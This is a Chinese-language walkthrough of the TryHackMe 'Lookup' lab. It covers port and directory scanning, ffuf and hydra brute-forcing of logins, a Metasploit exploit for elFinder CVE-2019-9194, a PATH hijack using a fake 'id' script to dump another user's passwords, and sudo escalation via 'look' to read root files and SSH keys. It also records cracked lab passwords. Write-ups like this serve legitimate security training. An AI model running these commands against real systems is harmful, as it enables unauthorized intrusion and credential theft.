THM靶场Lookup
链接:https://tryhackme.com/r/room/lookup
主机:Linux
难度:easy
总体思路:端口&目录扫描->暴力破解->CVE-2019-9194->路径劫持->sudo提权
端口&目录扫描
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| nmap -sSVC lookup.thm
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-07 23:35 CST Nmap scan report for localhost Host is up (0.39s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA) | 256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA) |_ 256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Did not follow redirect to http://lookup.thm Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
dirsearch -u lookup.thm
[23:50:13] 403 - 275B - /.ht_wsr.txt [23:50:13] 403 - 275B - /.htaccess.bak1 [23:50:14] 403 - 275B - /.htaccess.orig [23:50:14] 403 - 275B - /.htaccess.save [23:50:14] 403 - 275B - /.htaccess_orig [23:50:14] 403 - 275B - /.htaccess.sample [23:50:14] 403 - 275B - /.htaccess_extra [23:50:14] 403 - 275B - /.htaccessOLD [23:50:14] 403 - 275B - /.htaccess_sc [23:50:14] 403 - 275B - /.html [23:50:14] 403 - 275B - /.htaccessOLD2 [23:50:14] 403 - 275B - /.htpasswds [23:50:14] 403 - 275B - /.htm [23:50:14] 403 - 275B - /.htpasswd_test [23:50:14] 403 - 275B - /.htaccessBAK [23:50:14] 403 - 275B - /.httr-oauth [23:50:20] 403 - 275B - /.php [23:52:23] 200 - 1B - /login.php [23:53:10] 403 - 275B - /server-status/ [23:53:10] 403 - 275B - /server-status
|
目前来看就一个登录界面,先进去查看
先随机尝试几个用户名和密码
暴力破解
发现他的报错信息不一样,可以利用这一点,先爆破出存在的用户名
1
| ffuf -u 'http://lookup.thm/login.php' -H 'Content-Type: application/x-www-form-urlencoded' -X POST -d 'username=FUZZ&password=admin' -w /usr/share/seclists/Usernames/Names/names.txt -mc all -ic -fs 74 -t 100
|
有admin和jose两个用户,再使用ffuf爆破其密码
1
| ffuf -u 'http://lookup.thm/login.php' -H 'Content-Type: application/x-www-form-urlencoded' -X POST -d 'username=jose&password=FUZZ' -w /usr/share/seclists/Passwords/xato-net-10-million-passwords-10000.txt -mc all -ic -fs 62 -t 100
|
获得jose的密码为password123
登录后发现其将我们跳转到了files.lookup.thm,这里需要将域名加入hosts后才能访问
进来后界面长这样↓
CVE-2019-9194
查阅功能点后,发现了elFinder版本为2.1.47,在exploitDB上搜索其漏洞
发现可以直接使用msf进行漏洞利用
选择模块4,设置好参数后exploit
新建一个shell,将其转发到本地,并优化界面
1
| python3 -c "import pty;pty.spawn('/bin/bash')"
|
查看本机存在的用户
1 2
| cat /etc/passwd ls /home
|
发现存在think用户
查看当前用户能够运行的文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| find / -perm -u=s 2>/dev/null
/snap/snapd/19457/usr/lib/snapd/snap-confine ... /usr/sbin/pwm /usr/bin/at /usr/bin/fusermount /usr/bin/gpasswd /usr/bin/chfn /usr/bin/sudo /usr/bin/chsh /usr/bin/passwd /usr/bin/mount /usr/bin/su /usr/bin/newgrp /usr/bin/pkexec /usr/bin/umount
|
其中/usr/sbin/pwm较为可疑,运行它
提示说/home/www-data/.passwords并不存在,因为我们知道,home目录下只有think用户,且其中有.passwords文件
路径劫持
这里尝试使用路径劫持,将id命令的输出修改为think,然后将其路径修改到tmp目录下
1 2 3 4 5
| cd /tmp echo -e '#!/bin/bash\necho "uid=33(think) gid=33(www-data) groups=33(www-data)"' > /tmp/id chmod 777 /tmp/id export PATH=/tmp:$PATH echo $PATH
|
可以看到执行完毕后,使用id命令输出的即为think用户
再次运行pwm,输出了许多行密码,保存下来用于爆破think用户密码
1
| hydra -l think -P pass.txt lookup.thm ssh
|
密码为josemario.AKA(think)
登录到SSH
查看当前用户可执行权限
sudo提权
能够以任何用户执行look命令,在GTFOBins上查看提权命令
这里可以选择直接读root.txt,也可以选择读id_rsa
使用id_rsa登录到root用户